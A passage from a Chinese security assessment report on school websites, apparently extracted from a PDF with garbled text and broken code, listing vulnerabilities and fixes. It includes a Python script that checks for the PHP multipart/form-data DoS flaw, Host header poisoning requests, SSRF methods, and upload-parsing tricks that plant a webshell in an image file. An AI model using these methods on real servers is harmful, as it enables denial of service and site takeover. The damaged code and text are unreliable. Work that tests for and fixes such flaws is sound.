常见端口： 8080、 8090、 8099、 8088、 3306、 3389、 111、135、等

修复方案

其他说明

建议按照网站的开放端口要求，进行对不必要的服务的端口设置为禁止。

检测条件

7.1.5 PHP multipart/form-data远程 DOS漏洞

漏洞名称

PHP multipart/form-data远程 DOS漏洞

PHP 在处理 HTTP请求中的 multipart/form-data 头部数据时存在一个安全漏洞，导致 PHP大量重复分配和拷贝内存的操作， 可能造成 CPU资源占用 100%并持续较长时间， 这可能造成远程拒绝服务攻击。受影响的软件及系统： PHP

5.0.0 - 5.0.5 ； PHP 5.1.0 - 5.1.6 ；PHP 5.2.0 - 5.2.17 ； PHP 5.3.0 - 5.3.29 ； PHP 5.4.0 - 5.4.40 ； PHP

5.5.0 - 5.5.24 ；PHP 5.6.0 - 5.6.8

漏洞描述

检测条件

1、 Web业务运行正常

2、 网站采用了存在漏洞 php中间件版本。

1、 通 过 绿 盟 科 技 客 户 自 助 门 户 系 统 进 行 检 测 ， 参 考 链 接 ：

/vulnerability/list/ ，找到对应的漏洞检测模块，

输入相关信息，进行检测。

3、 通过人工执行 python 脚本进行检测，相关代码参考如下：

import sys import urllib,urllib2

import datetime

检测方法 from optparse import OptionParser def http_proxy(proxy_url):

proxy_handler = andler({"http" : proxy_url}) null_proxy_handler =

andler({})

opener = _opener(proxy_handler)

l_opener(opener)

#end http_proxy

def check_php_multipartform_dos(url,post_body,headers):

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

req = t(url) for key in ():

_header(key,headers[key]) starttime = (); fd =

n(req,post_body) html = ()

endtime = () usetime=(endtime - starttime).seconds if(usetime >

5):

result = url+" is vulnerable";

else:

if(usetime > 3):

result = "need to check normal respond time" return [result,usetime]

#end

def main():

#http_proxy("127.0.0.1:8089")

parser = OptionParser()

_option("-t", "--target", action="store",

dest="target", default=False, type="string", help="test target")

(options, args) = _args() if():

target =

else:

return;

Num=350000

headers={'Content-Type':'multipart/form-data;

boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',

'Accept-Encoding':'gzip, deflate',

'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}

body =

"------WebKitFormBoundaryX3B7rDMPcQlzmJE1nContent-Dispositio

n:

form-data; name="file"; filename=" payload=""

for i in range(0,Num):

payload = payload + "an"

body = body + payload;

body = body +

"Content-Type:

application/octet-streamrnrndatadatarn------

WebKitFormBoundaryX3B7rDMPcQlzmJE1--"

print "";

respond=check_php_multipartform_dos(target,body,headers) print "Result : "

print respond[0]

print "Respond time : "+str(respond[1]) + " seconds";

if __name__=="__main__":

main()

脚本检测效果如下：

PHP官方已经针对 PHP 5.4 及 PHP 5.5版本给出了补丁，请使用这些版本的用户，尽快到

修复方案 官 方 网 站 下 载 并 安 装 补 丁 ， 补 丁 的 下 载 地 址 如 下 ：/#5.4.41;/#5.5.25,

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

如果使用其他的版本， 请持续关注官方补丁更新信息， 其次， IT 人员需要从业务稳定性、危害程度和范围及重要性等多个维度综合考虑，制定整改时间计划表，权重由高到低依

次对局部网络及主机设备或某业务系统设备展开整改和加固工作（建议邀请漏洞相关厂

商及安全厂商一同参与）。

其他说明

7.1.6 Padding Oracle 攻击

漏洞名称

Padding Oracle 攻击

这是一个比较老的漏洞，首先 Oracle 不是指数据库，其与甲骨文无任何关系，这里是提示的意思， Padding Oracle

攻击就是攻击者只需要一个合法密文，即可通过不断向网站发送篡改过的密文（这个过程主要是构造IV 的过程），观察是否有 Padding 异常错误提示，网站中的异常错误提示可能直接显示在网页当中，也可能只是 HTTP状态码，如“ 200 - OK ”是正确的，“ 500 - Internal Server Error”是错误的，根据两个不同的 HTTP状态码做对比即可，漏洞描述 而不需要其他任何详细信息，利用 Padding Oracle原理来攻击可以破解验证码、解密 JSF加密信息、解密 ViewState

信息、伪造管理员的cookie 、甚至可以下载 配置文件等，另外在 3.5 SP1 以后，还可以 利 用

ScriptManager 来 打 包 输 出 本 地 的 脚 本 文 件 ， 可 以 在 页 面 上 放 置 一 段 的引用，它的 Query String 便包含了需要输出的文件路径，它是与ScriptManager 等组件完全独立的，而这样也可以利用它来读取

检测条件

1、 被测网站使用了 。

2、 被测网站有未自定义统一错误页面的漏洞。

1、 可到开源网站下载检测工具，进行检测：

/releases/view/52623

由于 Padding Oracle 攻击只需判断两种状态便可以进行攻击，可采取两种方法来避免这种攻击，第一种是在应用环境中当站点出现404或500时都返回同一状态码；在更改 HTTP状态码之后，第二是方法是就是隐藏网页的错误信息。

此外还有一些做法也是可取的。例如：

修复方案 避免在 ViewState 和 Cookie中存放敏感数据。

不要过度依赖 Machine Key 。在认证 cookie 里保存的不只是用户名，而是外界无法得知的ID，或是同时保存

checksum等额外的验证信息。

为 写一个 Wrapper，只让它输出扩展名为 js 的内容。

其他说明 /JeffreyZhao/archive/2010/09/25/

检测方法

7.1.7 HTTP Host 头攻击

漏洞名称

7.1.1 HTTP Host 头攻击

一般通用 web程序是如果想知道网站域名不是一件简单的事情，如果用一个固定的 URI来作为域名会有各种麻烦。开发人员一般是依赖HTTP Host header （比如在 php里是_SERVER["HTTP_HOST"] ），而这个 header 很多情况下是靠不住的。而很多应用是直接把这个值不做 html 编码便输出到了页面中，比如：

漏洞描述

缓存污染是指攻击者通过控制一个缓存系统来将一个恶意站点的页面返回给用户。密码重置这种攻击主要是因为发送给用户的内容是可以污染的，也就是说可以间接的劫持邮件发送内容。利用方法可参考乌云的一篇：

/bugs/wooyun-2010-079988

检测条件

1、 被测网站使用了依赖 HTTP Host header 的功能。

2、 网站具有密码重置，发送邮件功能

检测方法可以根据上述两种方式：

1、 密码重置污染攻击，点击重置密码的链接时， url::abs_site 这一部分使用的Host header 是来自用户重置密码的请求，那么可以通过一个受他控制的链接来污染密码重置的邮件， 例如替换 host ：当然这种攻击方式一定要能骗取用户点击访问这个受污染的链接，如果用户警觉了没有点击，那么攻击就会失败

检测方法

> POST /password/reset HTTP/1.1

> Host:

> ...

> csrf=1e8d5c9bceb16667b1b330cc5fd48663&name=admin

2、 通过 Host header 来污染缓存的攻击方法 :

因此为了能使缓存能将污染后的 response 返回给用户， 我们还必须让缓存服务器看到的 host header 和应用看到版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

的 host header 不一样 , 比如说对于 Varnish （一个很有名的缓存服务软件），可以使用一个复制的 Host header 。Varnish 是通过最先到达的请求的 host header 来辨别 host 的，而 Apache则是看所有请求的 host ，Nginx 则只是看最后一个请求的 host 。这就意味着你可以通过下面这个请求来欺骗 Varnish 达到污染的目的

> GET / HTTP/1.1

> Host:

> Host:

1、 服务器方面：

由于 http 请求的特点， host header 的值其实是不可信的。唯一可信的只有SERVER_NAME，这个在 Apache和Nginx

里可以通过设置一个虚拟机来记录所有的非法 host header 。在 Nginx 里还可以通过指定一个 SERVER_NAME名单，

Apache也可以通过指定一个 SERVER_NAME名单并开启 UseCanonicalName选项。建议两种方法同时使用。

Varnish 很快会发布一个补丁。 在官方补丁出来前， 可以通过在配置文件里加入：

import std;

sub vcl_recv {

t();

2、应用方面：

解决这个问题其实是很困难的，因为没有完全自动化的方法来帮助客户识

别哪些 host 的值是值得信任的。 虽然做起来有点麻烦， 但是最安全的做法是：在网站安装和初始化的时候，要求管理员提供一个可信任的域名白名

单。如果这个实现起来比较困难， 那至少也要保证使用 SERVER_NAME而不是host header ，也就是取得 HOST值并保存设为常量并且鼓励用户使用安全配置做的比较好的站点。

修复方案

其他说明

/papers/1383

7.1.2 服务端请求伪造攻击 SSRF#

漏洞名称 服务端请求伪造攻击 SSRF

服务端请求伪造攻击（ Server-side Request Forgery） : 很多 web应用都提供了从其他的服务器上获取数据的功能。使用用户指定的URL，web应用可以获取图片，下载文件，读取文件内容等。这个功能如果被恶意使用，可以利用存在缺陷的web应用作为代理攻击远程和本地的服务器。这种形式的攻击称为服务端请求伪造攻击

（Server-side Request Forgery ）。一般情况下， SSRF攻击的目标是从外网无法访问的内部系统 。（ 正是因为它是由服务端发起的，所以它能够请求到与它相连而与

外网隔离的内部系统 ） .SSRF 形成的原因大都是由于 服务端提供了从其他服务器应用获取数据的功能且没有对目标漏洞描述 地址做过滤与限制 。比如从指定 URL地址获取网页文本内容， 加载指定地址的图片， 下载等等。 攻击者利用 ssrf

可以实现的攻击主要有 5种:

1. 可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的 banner 信息;

2. 攻击运行在内网或本地的应用程序（比如溢出）

3. 对内网 web应用进行指纹识别，通过访问默认文件实现

4. 攻击内外网的 web应用，主要是使用 get 参数就可以实现的攻击（比如 struts2 ， sqli 等） ;

5. 利用 file 协议读取本地文件等。

检测条件

1、 Web业务运行正常

2、 存在具有交互的功能点。

从WEB功能上寻找：我们从上面的概述可以看出，SSRF是由于服务端获取其他服务器的相关信息的功能中形成的，因此我们大可以列举几种在web 应用中常见的从服务端获取其他服务器信息的的功能。

1、通过分享功能：通过 URL地址分享网页内容：

早期分享应用中， 为了更好的提供用户体验， WEB应用在分享功能中， 通常会获取目标 URL地址网页内容中的

标签或者 标签中 content 的文本内容作为显示以检测方法 提供更好的用户体验。例如人人网分享功能中：/*****?resourceUrl= 通过目标 URL地址获取了 title 标签和相关文本内容。而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着 SSRF漏洞 .

2、转码服务：通过 URL地址把原地址的网页内容调优使其适合手机屏幕浏览：由于手机屏幕大小的关系， 直接浏览网页内容的时候会造成许多不便，因此有些公司提供了转码功能，把网页内容通过相关手段转为适合手机屏幕浏览的样式。例如百度、腾讯、搜狗等公司都有提供在线转码服务。

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

3、在线翻译：通过 URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等。

4、图片加载与下载，通过 URL地址加载或下载图片：图片加载远程图片地址此功能用到的地方很多，但大多都是比较隐秘，比如在有些公司中的加载自家图片服务器上的图片用于展示。（此处可能会有人有疑问，为什么加载图片服务器上的图片也会有问题，直接使用 img标签不就好了？ ，没错是这样，但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印、压缩等，所以就可能造成 SSRF问题）。

5、图片、 文章收藏功能：此处的图片、 文章收藏中的文章收藏就类似于功能一、分享功能中获取 URL地址中 title

以及文本的内容作为显示，目的还是为了更好的用户体验，而图片收藏就类似于功能四、图片加载。

6、未公开的 api 实现以及其他调用 URL的功能：此处类似的功能有 360提供的网站评分，以及有些网站通过 api 获取远程地址 xml文件来加载内容 .

通常有以下 5个思路：

1、 过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果 web应用是去获取某一种类型的文件。 那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。统一错误信息，避免用户可以根据错误信息来修复方案

判断远端服务器的端口状态。

2、 限制请求的端口为 http 常用的端口，比如， 80,443,8080,8090 。黑名单内网 ip 。

3、 避免应用被用来获取获取内网数据，攻击内网。

4、 http 和 https 请求。可以防止类似于http 和 https 请求。可以防止类似于file:///,gopher://,ftp://等引起的问题。

其他说明

7.1.3 TLS1/SSLv3 重协商漏洞

漏洞名称

重协商漏洞、 SSL重协商、 TLS1/SSLv3 重协商漏洞

SSL＼ TSL是位于一种可靠地网络层协议 ~pTCP协议之上的一个协议 ，该协议是为了在客户端和服务器之间生成一个安全的连接，这种连接是私密的、可靠的并且通信双方可以互相验证双方的身份 。所 以SSI ＼ TSI 协议应该具有机密性 、完整性和确定性。而对于重新协商，一个 SSL 协没一旦建立起来 ，客户端 (C ) 和服务器(S) 都可以要一次重新协商 ，也称为重新握手，这将会导致在加密的信道上尽心一次握手 ， C 可以通过发送一个新的 client H

漏洞描述 ello消息来创建一次重新协商。同样地 ，S可以发送一个 H ello request消息，从而使 C 回应一个新的 client H

ello以创建一个重新协商， 建立重新协商的牧的诗更新密钥， 增强所用密码组的保密性和从 C 到s的省份认证等等。

在 中间人攻击中，攻击者将会主动去窃听，他将截获客户端和服务器之间的连接 ，并使他们认为他们是在直接通话，而实 际上他们是通过攻击者的“转接来通样中间人可以选择有用的信息并且它可以将新的信息随意的插入

检测条件

1、 Web业务运行正常

2、 网站采用了 SSL或者 TSL的协议。

1、通过 web漏洞扫描工具进行检测。

检测方法 2、通过利用 SSLciphercheck 软件，通过 CMD下运行，进行协议探测进行检测命令：“ -h ip

地址或者域名 -p 443

1、关闭 renegotiation 协议或限制 SSL重协商数，以防止 TLS DOS攻击：在Apache 2.2.15 以上版本中，可以通过在配置文件 中，添加如下字串：SSLInsecureRenegotiation Off ；如使用的 Apache版本低于 2.2.15 ，修复方案 则可以通过限制 SSL重协商的次数防止 DOS攻击。

2、使用 WEB应用防火墙防止中间人攻击： 通过 WEB应用防火墙， 对HTTP Header请求头进行过滤和监控，舍弃嵌入式的 Http 请求行，以防止中间人攻击。

其他说明

7.1.4

Web 服务器解析漏洞 # [IIS 6.0 畸形文件扩展名解析漏洞等

漏洞名称

漏洞描述

Web服务器解析漏洞

服务器相关中间件存在一些解析漏洞，攻击者可通过上传一定格式的文件，被服务器的中间件进行了解析，这样就对系统造成一定危害。常见的服务器解析漏洞涉及的中间件有IIS ， apache、nginx 、等。

1、 Web业务运行正常。

2、 Php+mysql的搭配，则需要进行检测。

以下为常见的各大 web服务器所出现过的解析漏洞汇总，在检测时刻参考：1、IIS 6.0目录解析： //

可替换为任意文本文件 (e.g. )，文本内容为后门代码 IIS6.0 会将 解析为 asp 文件。

检测条件

检测方法

版权所有 第 32 页 共43页

xxx及下属学校2020年第二季度网站应用层检测报告

后缀解析： /;.jpg /:.jpg(此处需抓包修改文件名 ) IIS6.0 都会把此类后缀文件成功解析为 asp

文件。

默认解析： / / /6.0 默认的可执行文件除了 asp 还包含这三种此处可联系利用目录解析漏洞// 或// 或 ;.jpg

2、

IIS 7.0/IIS 7.5/Nginx <8.03 IIS 7.0/IIS 7.5/Nginx<8.03在默认 Fast-CGI 开启状况下 , 在一个文件路径

(/) 后面加上 / 会将 //解析为 php 文件。常用利用方法：将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后，避免破坏图片文件头和尾 :

copy /b + /a ######################################/b即fputs(fopen('','w'),'');?> 意思为写入一个内容为

名称 为 的 文 件######################################找个地方上传

, 然后找到 的地址，在地址后加上 / 即可执行恶意文本。然后就在图片目录下生成一句话木马

密码 cmd

3、Nginx <8.03

在 Fast-CGI 关闭的情况下， Nginx<8.03 依然存在解析漏洞在一个文件路径 (/) 后面加上 %会将

/% 解析为 php 文件

4、Apache

后缀解析： .x1.x2.x3 Apache 将从右至左开始判断后缀， 若 x3非可识别后缀，再判断 x2，直到找到可识别后缀为止， 然后将该可识别后缀进解析 .x1.x2.x3 则会被解析为 php 经验之谈： php|php3|phtml 多可被 Apache解析

5、其他一些可利用的：

在 windows环境下，[ 空格 ] 或. 这两类文件都是不允许存在的， 若这样命名， windows会默认除去空格或点，这也是可以被利用的！在向一台 windows 主机上传数据时，你可以抓包修改文件名，在后面加个空格或点，试图绕过黑名单，若上传成功，最后的点或空

格都会被消除，这样就可得到 shell 。我记得 FckPhp2.6 就存在加空格绕过的漏洞。 {Linux 主机中不行， Linux 允许这类文件存在 }如果在 Apache中

.htaccess 可被执行（默认不执行，这是 90sec里的一位朋友说的，当初我并不知道），且可以 被 上 传 ， 那 可

以 尝 试 在 .htaccess 中 写 入 :SetHandler application/x-httpd-php

换成你上传的文件，这样 就可解析为 php文件。

6、lighttpd /

修复方案

其他说明

版权所有 第 32 页 共43页